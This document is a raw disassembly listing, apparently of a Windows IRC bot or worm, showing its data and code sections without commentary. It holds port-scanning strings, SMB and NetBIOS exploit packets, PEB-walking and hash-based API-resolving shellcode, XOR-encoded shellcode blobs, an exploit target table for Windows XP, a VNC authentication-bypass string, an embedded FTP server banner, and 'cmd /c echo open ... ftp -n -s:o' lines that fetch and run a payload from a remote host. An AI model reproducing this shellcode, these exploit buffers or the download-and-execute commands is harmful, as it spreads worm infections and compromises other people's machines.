		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_36	db ' Failed to start server, error: <%d>.',0
		align 4
unk_431A7C	db  2Dh	; -		; DATA XREF: sub_40C124+EEo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSPortDIsOpen	db 'IP: %s, Port %d is open.',0
		align 4
unk_431AA4	db  2Dh	; -		; DATA XREF: sub_40C124+93o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSDScanThread	db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431ADC	db  2Dh	; -		; DATA XREF: sub_40C124+3E6o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedAtSDAf	db 'Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
unk_431B1C	db  2Dh	; -		; DATA XREF: sub_40C124+38Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_431B54	db  2Dh	; -		; DATA XREF: sub_40C124+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDScanThreadDS	db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431B88	db  2Dh	; -		; DATA XREF: sub_40C124+29Fo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToInitia	db 'Failed to initialize critical section.',0
		align 4
dword_431BBC	dd 234032Dh, 6E616373h,	202D0302h, 203A5049h, 50207325h
					; DATA XREF: sub_40C59B+92o
		dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSPor	db 'Scanning IP: %s, Port: %d.',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedScanni	db 'Finished scanning IP: %s.',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSP_0	db 'Scanning IP: %s, Port: %d.',0
		align 4
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_40CADA+B2o
		align 10h
dword_431C70	dd 10FF8h, 0		; DATA XREF: sub_40CADA+6Ao
dword_431C78	dd 10FF8h		; DATA XREF: sub_40CADA+79o
dword_431C7C	dd 7FFDF020h, 0		; DATA XREF: sub_40CADA+162o
dword_431C84	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_40CF04+7Bo
		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_431D0C	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_40CF04+34o
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_431D3C	dd 0			; DATA XREF: sub_40CF04+44o
		dd 800000D4h, 0
unk_431D48	db  81h	; 		; DATA XREF: sub_40CFDE+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		dd 0
byte_431D94	db 41h			; DATA XREF: sub_40D07C+107r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_431DD8	proc near		; DATA XREF: ___:0040D35Bo
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_431ED4
		push	dword ptr [esi]
		push	63D61209h
		call	sub_431EEA
		mov	[esi+8], eax
		call	sub_431E9D
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_431EEA
		mov	[esi+0Ch], eax
		call	sub_431E4F
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_431EEA
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_431DD8	endp


; =============== S U B	R O U T	I N E =======================================



sub_431E4F	proc near		; CODE XREF: sub_431DD8+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_431E78
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_431E4F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_431E78	proc near		; CODE XREF: sub_431E4F+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h

loc_431E87:				; CODE XREF: sub_431E78+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_431E94
		inc	ebx
		jmp	short loc_431E87
; ---------------------------------------------------------------------------

loc_431E94:				; CODE XREF: sub_431E78+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_431E78	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_431E9D	proc near		; CODE XREF: sub_431DD8+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi

loc_431EB5:				; CODE XREF: sub_431E9D+1Ej
		cmp	[ecx], ebx
		jz	short loc_431EBD
		mov	ecx, [ecx]
		jmp	short loc_431EB5
; ---------------------------------------------------------------------------

loc_431EBD:				; CODE XREF: sub_431E9D+1Aj
		mov	edx, edi

loc_431EBF:				; CODE XREF: sub_431E9D+2Aj
		cmp	[edx+4], ebx
		jz	short loc_431EC9
		mov	edx, [edx+4]
		jmp	short loc_431EBF
; ---------------------------------------------------------------------------

loc_431EC9:				; CODE XREF: sub_431E9D+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_431E9D	endp


; =============== S U B	R O U T	I N E =======================================



sub_431ED4	proc near		; CODE XREF: sub_431DD8+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_431ED4	endp


; =============== S U B	R O U T	I N E =======================================



sub_431EEA	proc near		; CODE XREF: sub_431DD8+16p
					; sub_431DD8+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp

loc_431F00:				; CODE XREF: sub_431EEA+33j
		jecxz	short loc_431F3A
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld

loc_431F0D:				; CODE XREF: sub_431EEA+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_431F19
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_431F0D
; ---------------------------------------------------------------------------

loc_431F19:				; CODE XREF: sub_431EEA+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_431F00
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------

loc_431F3A:				; CODE XREF: sub_431EEA:loc_431F00j
					; sub_431EEA:loc_431F3Aj
		jmp	short loc_431F3A
sub_431EEA	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_431F40	proc near		; DATA XREF: ___:0040D309o

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_431F92
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp

loc_431F5D:				; CODE XREF: sub_431F40+38j
		jecxz	short loc_431F8D
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq

loc_431F68:				; CODE XREF: sub_431F40+32j
		lodsb
		test	al, al
		jz	short loc_431F74
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_431F68
; ---------------------------------------------------------------------------

loc_431F74:				; CODE XREF: sub_431F40+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_431F5D
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp

loc_431F8D:				; CODE XREF: sub_431F40:loc_431F5Dj
		mov	[esp+arg_0], ebx
		retn
sub_431F40	endp


; =============== S U B	R O U T	I N E =======================================



sub_431F92	proc near		; CODE XREF: sub_431F40+7p

; FUNCTION CHUNK AT 00431FCA SIZE 00000008 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_431FAB
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_431FB6
; ---------------------------------------------------------------------------

loc_431FAB:				; CODE XREF: sub_431F92+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]

loc_431FB6:				; CODE XREF: sub_431F92+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_431FCA
sub_431F92	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_431FBD	proc near		; CODE XREF: sub_431F92:loc_431FCAp
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_431FBD	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_431F92

loc_431FCA:				; CODE XREF: sub_431F92+29j
		call	sub_431FBD

loc_431FCF:				; DATA XREF: sub_40CADA+320o
		add	[eax+0], ah
; END OF FUNCTION CHUNK	FOR sub_431F92
; ---------------------------------------------------------------------------
		dw 0
dword_431FD4	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CADA+2F5o
dword_431FE0	dd 30h			; DATA XREF: sub_40CADA+2CAo
dword_431FE4	dd 0A1h			; DATA XREF: sub_40CADA+29Fo
dword_431FE8	dd 3			; DATA XREF: sub_40CADA+246o
aCccc		db 'CCCC',0             ; DATA XREF: sub_40CADA+153o
		align 4

loc_431FF4:				; DATA XREF: sub_40CADA+E8o
		jmp	short near ptr dword_431FFC
; ---------------------------------------------------------------------------
		db 6 dup(90h)
dword_431FFC	dd 0			; CODE XREF: ___:loc_431FF4j
aCmdCEchoOpenSD	db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: ___:0040D330o
		db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
		align 8
dword_432068	dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: ___:0040DC4Bo
; ---------------------------------------------------------------------------

loc_432074:				; CODE XREF: ___:0043207Ej
		xor	dword ptr [ebx+13h], 6AD31EBBh
		sub	ebx, 0FFFFFFFCh
		loop	loc_432074
		inc	edi
		jz	short loc_4320BB
		and	eax, 952CE753h
		inc	esp
		jle	short loc_4320E3
		push	es
		lahf
		cmp	bl, [eax+2Fh]
		xchg	edx, [ebp+1FC36FAFh]
		cmp	al, 0E1h
; ---------------------------------------------------------------------------
		dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh
		dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h
; ---------------------------------------------------------------------------
		lahf
		cmps	byte ptr ss:[esi], byte	ptr es:[edi]

loc_4320BB:				; CODE XREF: ___:00432081j
		mov	[eax], esi
		inc	ecx
		imul	dword ptr [ebx+50h]
		js	short near ptr loc_43211A+1
		lock xchg ax, bp
; ---------------------------------------------------------------------------
		dw 768Ch
		dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh
		dd 0C7CF6E30h
; ---------------------------------------------------------------------------

loc_4320E0:				; CODE XREF: ___:0043210Dj
		xor	[esi-25h], bl

loc_4320E3:				; CODE XREF: ___:00432089j
		xor	al, 0D3h
		nop
		popf
		db	64h
		push	edi
		dec	esi
		sub	al, 0BCh
		mov	al, ch
		mov	ch, 39h
		fnsave	byte ptr [esi-20h]
		pop	eax
		shr	dword ptr [ecx-60h], cl
		pop	eax
		in	al, 4Ah
		sub	al, 0BAh

loc_4320FC:				; CODE XREF: ___:0043212Fj
		rcl	ebp, cl
		db	3Eh
		xchg	eax, esi
		or	byte ptr [esi+2Ch], 0BCh
		in	al, 97h
		db	36h
		or	al, 3Ah
		rep fld	tbyte ptr [eax-12h]
		jz	short loc_4320E0
		xchg	eax, ebp
		imul	esi, [esi+0Ah],	63h
		dec	esi
		mov	bl, 84h
		xchg	eax, ebp
		insd
		dec	ebp

loc_43211A:				; CODE XREF: ___:004320C1j
		cmp	byte ptr [ecx],	0E8h
		dec	ebp
		nop
		cmp	eax, edi
		dec	ebp
		sub	al, 0BAh
		fnsave	byte ptr [esi-2Dh]
		paddusw	mm1, qword ptr [ebp+5Ah]
		mov	ebp, [esi]
		jbe	short loc_4321A6
		jo	short loc_4320FC
		fld	dword ptr [ebp+edx*4+3BC3746Dh]
		out	dx, al
		loope	near ptr loc_43213D+1
		add	bl, [edi]

loc_43213D:				; CODE XREF: ___:00432139j
		mov	bl, 0FDh
		sub	esp, 0FFFFFFE1h
		add	eax, 3E1EE39h
		add	bl, [esi+57h]
		push	ebp
		and	ebp, esp
		loope	near ptr loc_432152+2
		cmp	ch, bh
		dec	edx

loc_432152:				; CODE XREF: ___:0043214Dj
		xchg	dl, [ebp-72447295h]
		retn	0AAD8h
; ---------------------------------------------------------------------------
		db 3Dh
		dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h
		dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h
		dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h,	6BB94FEAh
		dd 3B864FEAh, 0C7BBCE44h, 391D1B62h
		db 44h,	0C8h
; ---------------------------------------------------------------------------

loc_4321A6:				; CODE XREF: ___:0043212Dj
		mov	ecx, 2C294495h
		mov	edx, 0E92F4930h
		jg	short loc_43222C
		sub	al, 0BCh
		jmp	near ptr 5445259Ah
; ---------------------------------------------------------------------------
		db 0D0h, 33h, 0Ah
		dd 9505E1E8h, 6AD31E6Bh, 0
dword_4321C8	dd 0EFFFC481h, 44FFFFh,	432214h	; DATA XREF: ___:0040DC32o
dword_4321D4	dd 42Ah			; DATA XREF: ___:0040DBE5r
dword_4321D8	dd 3E8h			; DATA XREF: ___:0040DC56r
dword_4321DC	dd 258h			; DATA XREF: ___:0040DC28r
byte_4321E0	db 1			; DATA XREF: ___:0040DB91r
					; ___:0040DC5Fr
		align 4
		dd offset aWindowsXpSp0Sp ; "Windows XP	(SP0+SP1)"
		dd 2C6h, 264h, 0
		dd 1
dword_4321F8	dd 20804h		; DATA XREF: sub_40D89Fr ___:0040DC7Do ...
aWindowsXpSp0Sp	db 'Windows XP (SP0+SP1)',0 ; DATA XREF: ___:004321E4o
		align 4
		dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h
		dd 532D3050h
; ---------------------------------------------------------------------------

loc_43222C:				; CODE XREF: ___:004321B0j
		push	eax
		xor	al, 29h

loc_43222F:				; DATA XREF: ___:0040DBB9o
		add	bl, ch
		add	al, [eax]
; ---------------------------------------------------------------------------
		db 0
		align 8
dword_432238	dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ;	DATA XREF: ___:0040DAE9o
dword_43224C	dd 4B324FC8h, 1D31670h,	475A7812h, 88E16EBFh, 0	; DATA XREF: ___:0040DA8Do
aSPipeBrowser	db '\\%s\pipe\browser',0 ; DATA XREF: ___:0040DA1Co
		align 4
aSIpc		db '\\%s\ipc$',0
		align 10h
aCmdCEchoOpen_0	db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
					; DATA XREF: sub_40DFE2+92o
		db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
dword_4322F4	dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40E0D0+5Ao
		dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
		dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
		dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh	dup(64646464h)
		dd 1016464h, 40h dup(65656565h), 66010165h, 40h	dup(66666666h)
		dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
		dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
		dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
		dd 6C6C6C01h, 8	dup(6C6C6C6Ch),	41416C6Ch, 100D06EBh, 6D6D501Eh
		dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
		dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
		dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
		dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h,	0AF5B8DF3h
		dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
		dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
		dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
		dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h,	85773449h
		dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh,	0D43C8A9Bh
		dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh,	78281EB8h
		dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
		dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
		dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
		dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h,	2C47A345h
		dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
		dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
		dd 4838E43h, 5180BD0Ch,	0EFAF269Ah, 0D87B5338h,	78A9269Bh
		dd 877FD918h
aMmmmmmmmmmmmmm	db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
		align 4
aVncD_DSSAuthby	db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: ___:0040E40Co
		align 4
aRfb03d_03d	db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: ___:0040E299o
		align 4
word_433538	dw 1			; DATA XREF: ___:0040E210r
		align 4
dword_43353C	dd 2E646D63h, 657865h, 6F686365h, 65706F20h, 7325206Eh
					; DATA XREF: sub_419C64+21o
		dd 20642520h, 6F203E3Eh, 68636526h, 7375206Fh, 31207265h
		dd 6F3E3E20h, 63652620h, 31206F68h, 6F3E3E20h, 63652620h
		dd 67206F68h, 25207465h, 3E3E2073h, 6526206Fh, 206F6863h
		dd 20657962h, 206F3E3Eh, 70746626h, 206E2D20h, 6F3A732Dh
		dd 65642620h, 462F206Ch, 20512F20h, 2526206Fh, 0A0D73h
		dd 20313232h, 646F6F47h, 20657962h, 70706168h, 30722079h
		dd 6E697430h, 0A2E67h, 20353234h, 276E6143h, 706F2074h
		dd 64206E65h, 20617461h, 6E6E6F63h, 69746365h, 0A2E6E6Fh
		dd 0
aFtpTransferCom	db 'ftp transfer complete to: %s',0
		align 4
a226TransferCom	db '226 Transfer complete.',0Ah,0
aFtpTransferSta	db 'ftp transfer started to: %s',0
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
		align 4
aRetr		db 'RETR',0
		align 4
a200PortCommand	db '200 PORT command successful.',0Ah,0
		align 4
aS_S_S_S	db '%s.%s.%s.%s',0
aXX		db '%x%x',0Ah,0
		align 10h
aS_2		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah
		db ']',0
aPort		db 'PORT',0
		align 10h
a226TransferC_0	db '226 Transfer complete',0Ah,0
		align 4
aList_0		db 'LIST',0
		align 10h
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
		align 4
aPasv		db 'PASV',0
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0
aI_0:					; DATA XREF: ___:00437CA0o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0
aA_0:					; DATA XREF: ___:00437CACo
		unicode	0, <A>,0
aType		db 'TYPE',0
		align 4
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0
		align 4
		dd offset dword_445750
a350Restarting_	db '350 Restarting.',0Ah,0
		align 4
aRest		db 'REST',0
		align 4
a215Stnyftpd	db '215 StnyFtpd',0Ah,0
		align 4
aSyst		db 'SYST',0
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0
		align 4
aPass		db 'PASS',0
		align 4
a331PasswordReq	db '331 Password required',0Ah,0
		align 4
aUser_2		db 'USER',0
		align 4
aSS_3		db '%s %s',0
		align 4
a220Stnyftpd0wn	db '220 StnyFtpd 0wns j0',0Ah,0
		align 4
unk_433824	db  2Dh	; -		; DATA XREF: sub_40F0D5+3F8o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerFailedRe	db ' server failed, returned %d',0
asc_43384C	db 0Dh,0Ah,0		; DATA XREF: sub_40F0D5+2CFo
					; sub_41A4D1+F5o
		align 10h
aGet_0		db 'GET ',0             ; DATA XREF: sub_40F0D5+269o
		align 4
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+F7o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+D4o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_40F530+98o
					; sub_41AA42+1AEo
		align 10h
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40F530+84o
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_40F530:loc_40F596o
		align 10h
aTextHtml	db 'text/html',0        ; DATA XREF: sub_40F530+5Fo
		align 4
unk_433A6C	db  2Dh	; -		; DATA XREF: sub_40F6B3+296o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_37	db ' failed to start worker thread, error %d',0
		align 4
unk_433AA4	db  2Dh	; -		; DATA XREF: sub_40F6B3+212o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aWorkerThreadOf	db ' worker thread of server thread: %d.',0
		align 4
asc_433AD8:				; DATA XREF: sub_40F6B3+15Ao
		unicode	0, <*>,0
aS_3		db '\%s',0              ; DATA XREF: sub_40F6B3+2Fo
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_40F96A+652o
		align 4
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+637o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 10h
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_40F96A+61Co
		align 10h
